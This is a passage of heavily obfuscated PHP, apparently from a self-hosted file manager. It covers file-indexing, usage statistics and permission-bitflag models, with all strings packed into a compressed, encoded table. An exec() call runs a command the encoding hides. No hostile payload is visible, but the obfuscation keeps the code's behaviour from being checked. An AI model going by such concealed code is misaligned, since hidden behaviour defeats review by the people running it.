REPEAT_SKIP) { continue; } if ($eǷ == REPEAT_REPLACE) { $D = $this->sourceInfoCache($A); $F򓽜 = $this->fileHistory($D, $FՂ[$F[424]], $FՂ[$F[87]]); if ($F򓽜) { $Aʽ[$F[506]][] = $FՂ[$F[424]]; } continue; } else { if ($eǷ == REPEAT_RENAME) { $FՂ[$F[38]] = $this->fileNameAutoCache($FÅ, $FՂ[$F[38]], $eǷ, !1); } } } } if (!$FՂ[$F[375]] && $FՂ[$F[424]]) { $Aʽ[$F[506]][] = $FՂ[$F[424]]; } $fښ[] = $this->_makeItemData($FՂ, $cǩ, $FՂ[$F[38]]); goto B; f̐: if (isset($bޢ[$FՂ[$F[38]]])) { $FՂ = $bޢ[$FՂ[$F[38]]]; } $FՂ[$F[375]] = $FՂ[$F[39]] == $F[86]; $FՂ[$F[377]] = _get($FՂ, $F[166], $F[43]); goto Dॽ; B: } unset($FՂ); if (!empty($fښ)) { $this->addAll($fښ); } goto Bɳܮ; EÍ: $f = array_merge($d򂾊[$F[83]], $d򂾊[$F[84]]); $bޢ = $this->_addFiles($EΌ, $d򂾊[$F[83]], $Bϊ); $fښ = array(); goto Eٵ˪; cо: $F =& $_SERVER[ȦÆ]; $cǩ = $this->sourceInfoCache($FÅ); $d򂾊 = $EΌ->listPath($F, !1, !0); goto EÍ; e: } private function _addFiles($F֯, $B, $Cޖ㊬) { goto e꿊; e: foreach ($B as &$f¼) { goto F晖; C彃: $d∼ = $F֯->hashMd5($f¼[$e[85]]); if (strlen($d∼) > 10 && !isset($cʼn[$d∼])) { $cʼn[$d∼] = array(); } $f¼[$e[170]] = $Cӝ; goto c; fՋ: if (count($cʼn[$d∼]) > 1) { $f¼[$e[546]] = !0; } goto a䯝; c: $f¼[$e[169]] = $d∼; Hook::trigger($e[548], $f¼); $cʼn[$d∼][] =& $f¼; goto fՋ; F晖: Hook::trigger($e[547], $f¼); $f¼[$e[85]] = $F֯->getPathInner($f¼[$e[85]]); $Cӝ = $F֯->hashSimple($f¼[$e[85]]); goto C彃; a䯝: } $cע = array($e[169] => array($e[17], array_keys($cʼn))); $d׾ = Model($e[549]); goto bԧ; b: return $A; goto D; D׊ꑛ: foreach ($eҬ as $BƔ) { if (!isset($cʼn[$BƔ[$e[169]]])) { continue; } $e뙜 =& $cʼn[$BƔ[$e[169]]]; foreach ($e뙜 as &$f¼) { $f¼[$e[424]] = $BƔ[$e[424]]; } unset($f¼); } $A = array(); foreach ($B as $c) { $A[$c[$e[38]]] = $c; } goto b; a: $cע = array($e[169] => array($e[17], array_keys($cʼn))); $eҬ = $d׾->where($cע)->select(); $eҬ = $eҬ ? $eҬ : array(); goto D׊ꑛ; e꿊: $e =& $_SERVER[ȦÆ]; if (!$B || count($B) == 0) { return array(); } $cʼn = array(); goto e; bԧ: $eҬ = $d׾->where($cע)->select(); $eҬ = $eҬ ? $eҬ : array(); foreach ($eҬ as $BƔ) { if (!isset($cʼn[$BƔ[$e[169]]])) { continue; } $Aı = $cʼn[$BƔ[$e[169]]]; foreach ($Aı as &$f¼) { $f¼[$e[424]] = $BƔ[$e[424]]; $f¼[$e[546]] = !0; } unset($f¼); } goto B; B: $BĨώŶ = array(); foreach ($B as $B߱ӎ) { if (isset($B߱ӎ[$e[546]]) && $B߱ӎ[$e[546]]) { continue; } $Cݯ = $F֯->getPathInner($B߱ӎ[$e[85]]); $b = $d׾->addFileMake($Cݯ, $B߱ӎ[$e[87]], $B߱ӎ[$e[170]], $B߱ӎ[$e[169]], $B߱ӎ[$e[38]], $Cޖ㊬); $BĨώŶ[] = $b; } $d׾->addAll($BĨώŶ); goto a; D: } } define($_SERVER[ȦÆ][550], $_SERVER[ȦÆ][551]); goto B̸; aβ: class ZipStream { } class AnalysisModel extends ModelBaseLight { public function init($B݃) { $a͊ =& $_SERVER[ȦÆ]; $dԨ = array($a͊[540] => array($a͊[39] => $a͊[2000], $a͊[266] => array($a͊[216], $a͊[701], $a͊[2001], $a͊[2002])), $a͊[2003] => array($a͊[39] => $a͊[2004], $a͊[266] => array($a͊[216], $a͊[699], $a͊[2005], $a͊[2006], $a͊[2007]))); if (!isset($dԨ[$B݃])) { return !1; } $this->optionType = $dԨ[$B݃][$a͊[39]]; $this->field = $dԨ[$B݃][$a͊[266]]; return !0; } public function listData($e̞Ψ = false, $D = "\155\157\144\x69\146\171\x54\x69\155\x65", $f = false) { return parent::listData($e̞Ψ, $D, $f); } public function trendList($b杇ǣӋ) { goto b; b: $b =& $_SERVER[ȦÆ]; $c򊛸 = $this->listData(); if ($c򊛸) { $Aɉ = end($c򊛸); $Bؖ = date($b[2008], strtotime($b[2009])); if ($Aɉ[$b[216]] == $Bؖ) { return $c򊛸; } $fÈ = strtotime($Aɉ[$b[216]]); } goto eɯ; eɯ: if (!isset($fÈ)) { $Eɒ = $b杇ǣӋ == $b[540] ? $b[482] : $b[753]; $fÈ = Model($Eɒ)->min($b[193]); } $A̧ = $b[2010] . ucfirst($b杇ǣӋ); $b˄ = $this->dateList($fÈ); goto Fů; Fů: foreach ($b˄ as $Bؖ) { $this->{$A̧}($Bؖ); } return $this->listData(); goto C혲; C혲: } private function dateList($FǓ) { $Eؙ =& $_SERVER[ȦÆ]; $D = $FǓ; $dͶ = strtotime($Eؙ[2009]); $B贎 = array(); while ($D <= $dͶ) { $B贎[] = date($Eؙ[2008], $D); $D = strtotime($Eؙ[2011], $D); } return $B贎; } public function _recordUser($bޡ = '') { goto b; Cۨ: $D̷ = array($A䯰[216] => $bޡ, $A䯰[701] => (int) $a, $A䯰[2001] => (int) $b, $A䯰[2002] => (int) $č); return $this->insert($D̷); goto b˪; b: $A䯰 =& $_SERVER[ȦÆ]; $Dƅօ = strtotime(date($A䯰[2012], strtotime($bޡ))); $eϑ = strtotime(date($A䯰[2013], strtotime($bޡ))); goto Fۨ; a뼗φ: $b = Model($A䯰[482])->where($cґ)->count($A䯰[1412]); $cґ[$A䯰[39]] = $A䯰[2014]; $č = Model($A䯰[2015])->where($cґ)->count($A䯰[2016]); goto Cۨ; Fۨ: $cґ = array($A䯰[193] => array($A䯰[922], $eϑ)); $a = Model($A䯰[482])->where($cґ)->count($A䯰[1412]); $cґ[$A䯰[193]] = array($A䯰[326], array($Dƅօ, $eϑ)); goto a뼗φ; b˪: } public function _recordStore($e穛 = '') { goto a; fה: $fۺܑ = Model($Bᷪ[427])->where($e)->sum($Bᷪ[87]); $e[$Bᷪ[375]] = 0; $Cނ = Model($Bᷪ[753])->where($e)->sum($Bᷪ[87]); goto a̋ȩ; a: $Bᷪ =& $_SERVER[ȦÆ]; $bܑ = strtotime(date($Bᷪ[2013], strtotime($e穛))); $e = array($Bᷪ[193] => array($Bᷪ[922], $bܑ)); goto fה; c: $f싖 = Model($Bᷪ[753])->where($e)->sum($Bᷪ[87]); $C笸 = array($Bᷪ[216] => $e穛, $Bᷪ[699] => (int) $Cނ, $Bᷪ[2005] => (int) $fۺܑ, $Bᷪ[2006] => (int) $e, $Bᷪ[2007] => (int) $f싖); return $this->insert($C笸); goto F; a̋ȩ: $e[$Bᷪ[376]] = 1; $e = Model($Bᷪ[753])->where($e)->sum($Bᷪ[87]); $e[$Bᷪ[376]] = 2; goto c; F: } public function trend($Aʏ, $Aħ) { goto B·; B·: $C‡ާ =& $_SERVER[ȦÆ]; if (!$this->init($Aʏ)) { return !1; } $E = $this->trendList($Aʏ); goto Cބ; A߻: return $d̹; goto Eㅵ; Cބ: if ($E && $Aħ != $C‡ާ[1387]) { $cֳږ = $E[0][$C‡ާ[216]]; $fɥ = $this->validDate($Aħ, $cֳږ); $D߮ = array(); $Bџ = array_to_keyvalue($E, $C‡ާ[216]); foreach ($fɥ as $fĆ) { if (isset($Bџ[$fĆ])) { $F = $Bџ[$fĆ]; } else { $F = end($E); $F[$C‡ާ[216]] = $fĆ; if ($Aʏ == $C‡ާ[540]) { $F[$C‡ާ[2001]] = $F[$C‡ާ[2002]] = 0; } } $D߮[] = $F; } $E = $D߮; } $c򻉇 = array($C‡ާ[540] => array($C‡ާ[701] => LNG($C‡ާ[2017]), $C‡ާ[2001] => LNG($C‡ާ[2018]), $C‡ާ[2002] => LNG($C‡ާ[2019])), $C‡ާ[2003] => array($C‡ާ[699] => LNG($C‡ާ[2020]), $C‡ާ[2005] => LNG($C‡ާ[2021]), $C‡ާ[2006] => LNG($C‡ާ[2022]), $C‡ާ[2007] => LNG($C‡ާ[2023]))); $bʅ = array($C‡ާ[540] => $C‡ާ[2024], $C‡ާ[2003] => $C‡ާ[87]); goto Bɔ; Bɔ: if (empty($E)) { $fĆ = date($C‡ާ[2008], strtotime($C‡ާ[2009])); $Dͅ = array($C‡ާ[216] => $fĆ); foreach ($c򻉇[$Aʏ] as $D⹛ => $Bή) { $Dͅ[$D⹛] = 0; } $E[] = $Dͅ; } $d̹ = array(); foreach ($E as $Bή) { if ($Aʏ == $C‡ާ[2003] && $Bή[$C‡ާ[2005]] > $Bή[$C‡ާ[699]]) { $Bή[$C‡ާ[2005]] = $Bή[$C‡ާ[699]]; } foreach ($c򻉇[$Aʏ] as $D⹛ => $Fْ΢) { $F = array($C‡ާ[216] => $Bή[$C‡ާ[216]], $C‡ާ[1320] => $Fْ΢); $F[$bʅ[$Aʏ]] = isset($Bή[$D⹛]) ? $Bή[$D⹛] : 0; $d̹[] = $F; } } goto A߻; Eㅵ: } public function validDate($eȾ, $e) { goto b; b: $f =& $_SERVER[ȦÆ]; $Dֵ = date($f[2008], strtotime($f[2009])); $F뜷 = array($Dֵ); goto B; B̏Ƶ: return $F뜷; goto Dׂ; B: switch ($eȾ) { case $f[1394]: $fᔭá = mktime(0, 0, 0, date($f[2025]), date($f[2026]) - date($f[1212]) + 7 - 7, date($f[2027])); $C衠 = 0; do { $f߂ = date($f[2008], $fᔭá - 3600 * 24 * 7 * $C衠); $F뜷[] = $f߂; $C衠++; } while ($e < $f߂); break; case $f[1392]: $C衠 = 1; do { $D = date($f[2028], strtotime("\x2d\x20{$C衠}\x20\x6d\x6f\x6e\x74\x68\163")); $F뜷[] = $D; $C衠++; } while ($e < $D); break; case $f[1696]: $Că = (int) date($f[2027], strtotime($e)); $C = (int) date($f[2027]); if ($Că >= $C) { break; } for ($Că; $Că < $C; $Că++) { $F뜷[] = $Că . $f[2029]; } break; default: break; } if ($e > end($F뜷)) { array_pop($F뜷); } sort($F뜷); goto B̏Ƶ; Dׂ: } public function listTable($a֠) { $C򅖣 = ucfirst($a֠); return Model($C򅖣)->listData(); } public function option($a) { $aɖ = $_SERVER[ȦÆ][2030] . ucfirst($a); return $this->{$aɖ}(); } private function optionUser() { goto d; Bކ: $a҇ڎ = strtotime($E犵[2032]); $aːߝ = array($E犵[2033] => array($E犵[923], $a҇ڎ)); $d = (int) Model($E犵[482])->where($aːߝ)->count($E犵[1412]); goto AҔ; d: $E犵 =& $_SERVER[ȦÆ]; $E᱌ = Model($E犵[482])->count($E犵[1412]); $eЈ֧ޚ = Model($E犵[482])->where($E犵[2031])->count($E犵[1412]); goto Bކ; Aߓ: $f = Model($E犵[482])->where($aːߝ)->count($E犵[1412]); return array($E犵[696] => (int) $E᱌, $E犵[2034] => (int) ($E᱌ - $eЈ֧ޚ), $E犵[2035] => (int) $eЈ֧ޚ, $E犵[2036] => (int) $f, $E犵[2037] => $d); goto Cᥢ; AҔ: if (!$d) { $d = 1; } $a҇ڎ = strtotime(date($E犵[2012])); $aːߝ = array($E犵[2033] => array($E犵[923], $a҇ڎ)); goto Aߓ; Cᥢ: } private function optionFile() { goto fЫإ; fЫإ: $AŒ =& $_SERVER[ȦÆ]; $A = $this->sourceSize(); $AÕʹ = $A[$AŒ[87]]; goto b; b: $CNj = $A[$AŒ[2005]]; $ḟ = Model($AŒ[753])->where(array($AŒ[375] => 0))->count($AŒ[374]); $b┏Ҍ = array($AŒ[375] => 0, $AŒ[193] => array($AŒ[923], strtotime(date($AŒ[2012])))); goto e; e: $fϼ = Model($AŒ[753])->where($b┏Ҍ)->sum($AŒ[87]); $F = Model($AŒ[753])->where($b┏Ҍ)->count($AŒ[374]); return array($AŒ[699] => $AÕʹ, $AŒ[2005] => $CNj, $AŒ[2038] => $AÕʹ - $CNj, $AŒ[2039] => (int) $fϼ, $AŒ[701] => (int) $ḟ, $AŒ[2040] => (int) $F); goto Eϟ; Eϟ: } private function optionAccess() { $AȢ˂ =& $_SERVER[ȦÆ]; return array($AȢ˂[696] => $this->typeLogCnt(), $AȢ˂[112] => $this->typeLogCnt($AȢ˂[112]), $AȢ˂[409] => $this->typeLogCnt($AȢ˂[409]), $AȢ˂[2041] => $this->typeLogCnt($AȢ˂[2041]), $AȢ˂[2042] => $this->typeLogCnt($AȢ˂[2042]), $AȢ˂[540] => $this->typeLogCnt($AȢ˂[43], $AȢ˂[2016])); } private function typeLogCnt($C򌟚 = '', $D밆 = "\x69\x64") { goto B; e񘖤: $FƂ = array($C܅[193] => array($C܅[923], $D˅)); if ($C򌟚) { $FƂ[$C܅[39]] = array($C܅[17], $B[$C򌟚]); } $fײ٪ = Model($C܅[2015])->where($FƂ)->count($D밆); goto Dԡ; B: $C܅ =& $_SERVER[ȦÆ]; $B = array($C܅[112] => array($C܅[2043], $C܅[2044]), $C܅[409] => array($C܅[2045], $C܅[2046]), $C܅[2041] => array($C܅[2047], $C܅[2048]), $C܅[2042] => array($C܅[2049], $C܅[2050]), $C܅[2051] => array($C܅[2052], $C܅[2053], $C܅[2054])); $D˅ = strtotime(date($C܅[2012])); goto e񘖤; Dԡ: return (int) $fײ٪; goto eá; eá: } private function optionServer() { goto C𖝘; AꞦ: $DΕǹ = array($Dܜ[744] => $b׿͔[$Dܜ[372]]); $Eن = Model($Dܜ[427])->where($DΕǹ)->sum($Dܜ[87]); $E = explode($Dܜ[60], $_SERVER[$Dܜ[147]]); goto d뚦; C𖝘: $Dܜ =& $_SERVER[ȦÆ]; $f = $this->diskDriver(); $b׿͔ = KodIO::defaultDriver(); goto AꞦ; d: return array($Dܜ[2057] => $f ? $f[$Dܜ[2058]] : 0, $Dܜ[2059] => $f ? $f[$Dܜ[2060]] : 0, $Dܜ[2061] => (int) $b׿͔[$Dܜ[2058]] * 1024 * 1024 * 1024, $Dܜ[2062] => (int) $Eن, $Dܜ[2063] => ucfirst($fӾ), $Dܜ[2064] => $Dܜ[2065] . PHP_VERSION, $Dܜ[2066] => phpBuild64() ? 64 : 32, $Dܜ[695] => str_replace($Dܜ[2067], $Dܜ[899], $B׎), $Dܜ[342] => ucfirst($Eʼn), $Dܜ[38] => $_SERVER[$Dܜ[2068]]); goto a; bܵ: if ($B׎ == $Dܜ[725]) { $e = explode($Dܜ[1069], $C[$Dܜ[882]]); $B׎ = $e[0]; } if ($B׎ == $Dܜ[728] || $B׎ == $Dܜ[729]) { $eᚂ = Model()->db()->query($Dܜ[2055]); $cӋ = $eᚂ[0] && isset($eᚂ[0][$Dܜ[1319]]) ? $eᚂ[0][$Dܜ[1319]] : 0; $B׎ = $Dܜ[2056] . ($cӋ ? $Dܜ[18] . $cӋ : $Dܜ[43]); } $Eʼn = $GLOBALS[$Dܜ[16]][$Dܜ[342]][$Dܜ[754]]; goto d; d뚦: $fӾ = $E[0]; $C = $GLOBALS[$Dܜ[16]][$Dܜ[27]]; $B׎ = $C[$Dܜ[883]]; goto bܵ; a: } private function diskDriver() { goto e޵ݏ; f: $eʥɥ = $E - @disk_free_space($D); return array($Dۤ؍[2058] => $E, $Dۤ؍[2060] => $eʥɥ); goto D; e޵ݏ: $Dۤ؍ =& $_SERVER[ȦÆ]; $D = $Dۤ؍[18]; $EЪ = $GLOBALS[$Dۤ؍[16]][$Dۤ؍[2069]] == $Dۤ؍[2070]; goto c搩; c搩: if ($EЪ) { $D = $Dۤ؍[2071]; if (function_exists($Dۤ؍[2072])) { exec($Dۤ؍[2073], $E邖); $D = $E邖[1] . $Dۤ؍[18]; } } if (!file_exists($D)) { return; } $E = @disk_total_space($D); goto f; D: } public function fileChart($AᲓі) { goto Dԥ; E҆: $e骔 = $this->sourceSize(); $Cȶ™ = array($aʹ[466] => 0, $aʹ[376] => 1); $FѼ = Model($aʹ[753])->where($Cȶ™)->sum($aʹ[87]); goto c; Dԥ: $aʹ =& $_SERVER[ȦÆ]; if (isset($AᲓі[$aʹ[1412]])) { return Model($aʹ[753])->userFileTypeProfile($AᲓі[$aʹ[1412]]); } if (isset($AᲓі[$aʹ[2074]])) { return Model($aʹ[753])->groupFileTypeProfile($AᲓі[$aʹ[2074]]); } goto E҆; c: $Cȶ™[$aʹ[376]] = 2; $A˜󛡟 = Model($aʹ[753])->where($Cȶ™)->sum($aʹ[87]); return array($aʹ[699] => $e骔[$aʹ[87]], $aʹ[2005] => $e骔[$aʹ[2005]], $aʹ[2006] => (int) $FѼ, $aʹ[2007] => (int) $A˜󛡟); goto D½; D½: } private function sourceSize() { $eߥ =& $_SERVER[ȦÆ]; $F = Model($eߥ[753])->where(array($eߥ[375] => 0))->sum($eߥ[87]); $cե = Model($eߥ[427])->sum($eߥ[87]); if ($cե > $F) { $cե = $F; } return array($eߥ[87] => (int) $F, $eߥ[2005] => (int) $cե); } } class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authDefault() { $C↲ =& $_SERVER[ȦÆ]; $E۬ = array(array($C↲[391] => LNG($C↲[2075]), $C↲[2076] => $C↲[2077], $C↲[2078] => 6, $C↲[2079] => 1, $C↲[2080] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($C↲[391] => LNG($C↲[2081]), $C↲[2076] => $C↲[2082], $C↲[2078] => 1, $C↲[2079] => 1, $C↲[2080] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($C↲[391] => LNG($C↲[2083]), $C↲[2076] => $C↲[2084], $C↲[2078] => 2, $C↲[2079] => 1, $C↲[2080] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($C↲[391] => LNG($C↲[2085]), $C↲[2076] => $C↲[2084], $C↲[2078] => 3, $C↲[2079] => 1, $C↲[2080] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($C↲[391] => LNG($C↲[2086]), $C↲[2076] => $C↲[2087], $C↲[2078] => 4, $C↲[2079] => 1, $C↲[2080] => self::AUTH_SHOW | self::AUTH_VIEW), array($C↲[391] => LNG($C↲[2088]), $C↲[2076] => $C↲[2089], $C↲[2078] => 5, $C↲[2079] => 1, $C↲[2080] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($C↲[391] => LNG($C↲[2090]), $C↲[2076] => $C↲[2091], $C↲[2078] => 7, $C↲[2079] => 1, $C↲[2080] => 0)); return $E۬; } public static function authCheck($d̏Ǎ, $Aêε) { $d̏Ǎ = intval($d̏Ǎ); if (_get($GLOBALS, $_SERVER[ȦÆ][462])) { return !0; } if ($d̏Ǎ <= 0) { return !1; } if (($d̏Ǎ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($d̏Ǎ & $Aêε); } public static function authCheckShow($e) { return self::authCheck($e, self::AUTH_SHOW); } public static function authCheckView($f呑) { return self::authCheck($f呑, self::AUTH_VIEW); } public static function authCheckDownload($d˙) { return self::authCheck($d˙, self::AUTH_DOWNLOAD); } public static function authCheckUpload($b螒) { return self::authCheck($b螒, self::AUTH_UPLOAD); } public static function authCheckEdit($d) { return self::authCheck($d, self::AUTH_EDIT); } public static function authCheckRemove($Aŷг) { return self::authCheck($Aŷг, self::AUTH_REMOVE); } public static function authCheckShare($Eͬ) { return self::authCheck($Eͬ, self::AUTH_SHARE); } public static function authCheckComment($d) { return self::authCheck($d, self::AUTH_COMMENT); } public static function authCheckEvent($BŢ) { return self::authCheck($BŢ, self::AUTH_EVENT); } public static function authCheckRoot($D͵͈) { return self::authCheck($D͵͈, self::AUTH_ROOT); } public static function authDisable($E굷, $dވɔ) { if (intval($E굷) <= 0) { return 0; } return intval($E굷) & ~$dވɔ; } public $optionType = "\123\171\x73\164\145\x6d\x2e\163\x6f\x75\162\143\145\x41\165\x74\x68\x4c\151\x73\x74"; public $field = array("\156\141\x6d\x65", "\x61\x75\164\150", "\x6c\141\142\x65\x6c", "\x64\x69\x73\x70\154\141\171", "\163\x79\163\x74\x65\155", "\x73\157\x72\164"); public function initData() { $DΆ␕ = $this->authDefault(); foreach ($DΆ␕ as $E抭) { $this->add($E抭); } } public function listData($F׌ = false, $c = "\x73\x6f\x72\164", $aѸШ = false) { return parent::listData($F׌, $c, $aѸШ); } public function update($Dö, $Bˤ) { $B =& $_SERVER[ȦÆ]; $f֍ = parent::listData($Dö); $Bݠ = $this->findByName($Bˤ[$B[38]]); if (!$f֍ || $Bݠ && $Bݠ[$B[372]] != $f֍[$B[372]]) { return !1; } $this->filterAuth($Bˤ[$B[381]]); return parent::update($Dö, $Bˤ); } public function remove($bꇜ) { $CԢ = parent::listData($bꇜ); if (!$CԢ || $CԢ[$_SERVER[ȦÆ][1073]]) { return !1; } return parent::remove($bꇜ); } public function add($dnj͡ = array()) { goto fӜ; a߹: $dnj͡ = array_merge($eߋ, $dnj͡); $dnj͡[$E[2095]] = $this->getSort(); $this->filterAuth($dnj͡[$E[381]]); goto C̞; C̞: return parent::insert($dnj͡); goto B߾; fӜ: $E =& $_SERVER[ȦÆ]; if ($this->findByName($dnj͡[$E[38]])) { return !1; } $eߋ = array($E[38] => $E[43], $E[381] => 1, $E[2092] => $E[2093], $E[2094] => 1, $E[1073] => 0, $E[2095] => 0); goto a߹; B߾: } private function getSort() { $C =& $_SERVER[ȦÆ]; $Aץ = parent::listData(); $Eí = array_to_keyvalue($Aץ, $C[43], $C[2095]); return empty($Eí) ? 0 : max($Eí) + 1; } private function filterAuth(&$E䧞) { goto B; fҞϗ: foreach ($bސٴ∊ as $aƋ) { if (isset($C[$aƋ])) { $bސٴ∊ = array_merge($bސٴ∊, $C[$aƋ]); } } $bސٴ∊[] = self::AUTH_SHOW; $E䧞 = array_sum(array_unique($bސٴ∊)); goto fݽ; bͽ: foreach ($B as $aƋ) { if ($E䧞 & $aƋ) { $bސٴ∊[] = $aƋ; } } if (in_array(self::AUTH_ROOT, $bސٴ∊)) { $E䧞 = array_sum($B); return; } $C = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); goto fҞϗ; B: if (!$E䧞) { return; } $B = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $bސٴ∊ = array(); goto bͽ; fݽ: } public function sort($Aχ؏, $c廉) { return parent::update($Aχ؏, $c廉); } } goto C; E̺: if (!function_exists('_kodDe')) { function _kodDe($Cƙ) { $Cƙ = base64_decode($Cƙ); $D = strlen($Cƙ); $cΑ = ''; $A = ord($Cƙ[0]) - 30; for ($eӠ׮ = 1; $eӠ׮ < $D; $eӠ׮ += 2) { if ($eӠ׮ + 1 < $D) { $cΑ .= chr(ord($Cƙ[$eӠ׮ + 1]) + $A); $cΑ .= chr(ord($Cƙ[$eӠ׮]) + $A); } else { $cΑ .= chr(ord($Cƙ[$eӠ׮]) + $A); } } return $cΑ; } } define("\xbf\xc8\xa6\xc3\x86\xb1\x9e\xe6", "\xb8\xf1\xf6"); $_SERVER[ȦÆ] = explode("\174\3\174\2\174\2", gzinflate(substr("\37\213\10\0\0\0\0\0\0\3\235\75\7\140\133\305\331\20\12\224\260\313\54\363\141\22\74\242\341\231\341\44\116\144\111\216\225\310\226\221\344\330\301\162\224\47\351\111\172\261\244\47\277\367\144\313"."\116\102\111\41\120\106\240\214\206\22\106\51\243\224\122\366\54\173\26\312\52\320\262\151\151\41\213\121\72\240\120\366\177\373\356\75\311\320\376\264\216\356\276\373\356\336\215\357\276\373\356\356\373\276\173\354".base64_decode('ldufuOKpc+7/19pd1k5bO+22j/Ev+N931u6Mw0ef+d2d0H+75I9/qHda034bf3t+/KHfnb/+0fk=')."\115\122\335\310\5\63\135\243\317\377\264\365\352\43\137\71\365\205\331\371\71\337\173\344\361\173\232\157\175\177\351\135\346\237\227\155\177\346\336\213\344\317\237\372\362\305\257\336\172\161\351\163\337\335\320\66"."\353\366\56\307\304\226\145\107\355\264\142\137\357\41\47\377\141\353\11\337\177\364\326\203\267\75\133\32\376\353\217\163\27\337\275\373\340\205\373\155\76\355\271\253\372\27\136\171\347\11\47\377\375\113\255\164"."\xde\xc0\x64\xc3\xf2\x39\x9f\x5f\xf1\xe8\xc8\x5e\x7f\xb9\xef\xdf\xdf\xfd\xe7\x7d\xf\x3d\x57\x3b\xb1\xd3\x9b\xfd\x5d\xf\x9f\x7d\xe2\x6f\xf6\xdb\xef\xe1\x37\xa\xf\xf6\x2d\xad\x5b\x3c\xb2\xdb\xfc\xfd\x9e\x98\x5f\x7a\x60\xe9"."\x47\xdb\x4f\x2e\xef\x7f\xec\x8a\x33\x56\xef\x79\xc7\x59\xad\xc7\x3e\xfa\xf0\xd2\x47\x43\x6f\x7f\x7a\xfa\xc7\xf7\x1f\xb5\xbc\xf3\xd6\x95\xbe\x57\x67\x3c\xf3\xaa\xb1\xa9\xf7\xd5\xd6\x4b\x6f\xfd\x67\xcd\x31\x7f\xfb\xde\xf2\x97".strrev('eutnוYM|hl-w]GjgØ?>O}\'m58/˼')."\x77\x8f\x5a\x7f\xef\x9b\x89\x55\x6b\xaf\x6e\x3d\xe2\xf7\xaf\xbd\xad\xdc\xf6\x9a\xfe\xea\x11\x5b\x8c\xbf\x5e\x72\xd7\x9a\x7d\x17\x7c\xbd\xe3\xce\xb6\x8b\x3e\x5b\x6f\x1c\x70\xdb\x59\xbb\xfe\xe8\xc5\xcb\x76\xbd\xeb\x97\xbf\x96"."\167\235\163\113\373\327\363\236\221\257\332\164\323\73\77\176\256\153\366\362\206\65\227\354\367\237\331\237\374\144\370\37\201\317\366\34\73\161\336\373\157\116\333\151\47\334\321\355\370\107\52\150\246\244\224\125"."\xc3\x34\x30\x40\x2e\x99\x5a\x4e\x93\x53\xae\x62\xb6\x88\x21\x69\x35\xa7\x18\xea\xa4\x82\x63\x71\x19\xc6\x23\x20\x1e\x28\xf0\xf4\x78\x46\x31\xe3\x49\xad\x60\x2a\x5\x5a\x50\xa7\x27\x12\xf0\xc6\xfb\x3c\xd1\x6e\x52\x70\xb1\xe8"."\256\54\174\72\376\151\305\77\311\254\222\34\211\313\11\115\67\225\24\6\225\12\71\265\60\102\222\265\102\132\315\340\260\112\276\356\306\77\306\150\116\65\151\25\173\103\321\170\244\277\257\317\37\216\306\111".base64_decode('a8X0vJYioaKsy3lS36KiG6AbxOLiRa2oFCwQDkjJppyQDVKSrzPu8/cFQyvi0RV9foKRiI+WFH0=')."\2\307\120\60\142\312\272\31\125\363\12\303\30\327\131\275\72\375\113\2\275\122\64\354\351\215\170\274\321\100\250\27\203\275\241\236\236\100\264\22\36\16\5\203\235\36\357\262\312\224\276\260\147\111\217\107".base64_decode('AvUDI6MW0lqdtAqnrJLqcaBLVXKkhwsyrY45USShKAsB+iiUcjkc6WUhUn8lLZdypM98YqSoq3k=').strrev('}V ~t'."\r".'.l=Cu)I@y+89SeGBʜ2}6')."\141\55\152\161\255\204\363\365\367\202\16\221\74\301\240\64\125\11\246\222\57\322\142\160\236\52\205\205\302\76\177\130\352\134\41\361\176\112\152\371\274\126\160\201\122\300\170\232\102\125\375\341\60\16\70\310"."\354\12\6\340\320\221\110\250\253\53\342\147\61\322\270\343\203\240\46\55\204\112\55\261\124\72\147\306\307\344\134\211\22\53\231\5\265\344\207\374\152\6\41\340\121\265\240\226\10\261\222\42\64\315\240\65".base64_decode('JoESxVYoJA+yaWROgQk2hoMLO/DvfIKUgLN7TNHNuFJIaim1QKbhIjLlCOHJZtanqwCPFKi5klo=')."\x71\xa2\x47\x1b\x53\x38\xaf\x8\xb2\x59\x96\xd6\x72\x29\x45\xe7\xf1\x22\xc8\x2e\xa6\x90\xc6\x30\xde\x3\x73\xf7\x96\xf2\x22\xa\x8b\x26\xb3\x6a\x2e\xa5\x2b\x85\x6f\xc7\x6c\x22\xc5\x2a\xa6\x9\x9a\x61\xd0\x9a\xf6\x17\x21\x67"."\x8a\x28\xba\x50\xfb\x2e\x50\x4c\xa8\x64\x8a\xc0\x12\x42\xeb\xd2\xf4\xbc\xf\x30\x0\xd2\x3b\x80\xec\xd5\xfe\x2a\x9\x23\x94\xf0\x53\x42\xa7\xb8\x8\xe3\xaa\x1b\x5a\xef\xfc\x6a\x78\x68\x31\xf8\xa7\x9e\x70\xb1\x18\xa9\x5a\x56"."\xc9\xe5\xe2\x4a\x59\x21\x13\x24\x9f\x6a\x33\x68\xed\xdd\